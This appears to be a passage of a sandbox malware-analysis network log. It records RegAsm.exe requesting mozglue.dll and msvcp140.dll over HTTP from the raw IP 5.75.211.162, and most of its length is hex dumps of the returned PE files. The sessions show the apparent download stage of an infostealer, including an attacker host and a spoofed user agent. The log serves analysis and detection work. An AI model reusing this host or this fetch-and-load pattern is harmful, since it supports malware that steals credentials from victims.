2024-09-25 16:00:39 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-09-25 16:00:39 UTC	16384	IN	Data Raw: 0c ff ff ff 13 bd 10 ff ff ff 01 c8 89 45 b4 11 df 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff Data Ascii: E}1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x
2024-09-25 16:00:39 UTC	16384	IN	Data Raw: f2 c1 c2 08 89 88 90 00 00 00 31 d6 89 b0 9c 00 00 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 Data Ascii: 1M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]w
2024-09-25 16:00:39 UTC	16384	IN	Data Raw: 8b 7d 08 83 c4 0c 8a 87 18 01 00 00 30 03 8a 87 19 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 Data Ascii: }00C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwE
2024-09-25 16:00:40 UTC	16384	IN	Data Raw: ee 0e 81 e6 fc 03 00 00 33 8e 70 3b 08 10 8b 75 e0 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac Data Ascii: 3p;u^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?Uu
2024-09-25 16:00:40 UTC	16384	IN	Data Raw: 00 00 00 c7 45 bc 00 00 00 00 8d 45 e0 50 e8 04 5a 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 Data Ascii: EEPZ}EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w
2024-09-25 16:00:40 UTC	16384	IN	Data Raw: c4 04 8d 44 24 70 50 e8 5b 1c 04 00 83 c4 04 8d 44 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 Data Ascii: D$pP[D$`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE
2024-09-25 16:00:40 UTC	16384	IN	Data Raw: 8b 7d 88 89 f8 f7 65 c8 89 55 84 89 85 0c fd ff ff 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff Data Ascii: }eUeLXee0@eeeue0UEeeUeee $
2024-09-25 16:00:40 UTC	16384	IN	Data Raw: 77 38 8b 4f 34 89 4d e4 8b 4f 30 89 4d d4 8b 4f 2c 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 Data Ascii: w8O4MO0MO,MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEE
2024-09-25 16:00:40 UTC	16384	IN	Data Raw: e8 1c c1 ee 1a 01 c2 89 95 08 ff ff ff 8b bd 2c ff ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 Data Ascii: ,0<48%8A)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49724	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:41 UTC	196	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:41 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:41 GMT Content-Type: application/octet-stream Content-Length: 608080 Connection: close Last-Modified: Wednesday, 25-Sep-2024 16:00:41 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-25 16:00:41 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-09-25 16:00:41 UTC	16384	IN	Data Raw: 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 31 ff ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 Data Ascii: #H1A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNP
2024-09-25 16:00:41 UTC	16384	IN	Data Raw: ff ff 8b 45 a8 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d Data Ascii: EPzEPWxP1`PHP$,FM1R'^_[]00L9tc
2024-09-25 16:00:41 UTC	16384	IN	Data Raw: e9 06 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}L
2024-09-25 16:00:41 UTC	16384	IN	Data Raw: 00 83 c4 04 89 45 f0 8b 06 8b 4e 04 85 c9 0f 8e b3 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 Data Ascii: EN1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSRE
2024-09-25 16:00:41 UTC	16384	IN	Data Raw: e9 42 fd ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc Data Ascii: BH) sH) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) s
2024-09-25 16:00:41 UTC	16384	IN	Data Raw: 04 00 00 85 db 0f 85 ad 07 00 00 c7 44 24 30 00 00 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 Data Ascii: D$0D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$
2024-09-25 16:00:41 UTC	16384	IN	Data Raw: 81 8b b8 08 00 00 00 85 ff 0f 84 0b 06 00 00 83 fb 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3
2024-09-25 16:00:41 UTC	16384	IN	Data Raw: 0b 83 e1 fe 83 e0 01 09 c8 89 42 04 89 13 8d 44 24 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 Data Ascii: BD$XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKN
2024-09-25 16:00:41 UTC	16384	IN	Data Raw: 10 b9 00 00 00 00 0f 44 4c 24 04 31 db 39 c1 0f 97 c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 Data Ascii: DL$19rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49725	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:42 UTC	197	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:43 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:43 GMT Content-Type: application/octet-stream Content-Length: 450024 Connection: close Last-Modified: Wednesday, 25-Sep-2024 16:00:43 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-25 16:00:43 UTC	16121	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 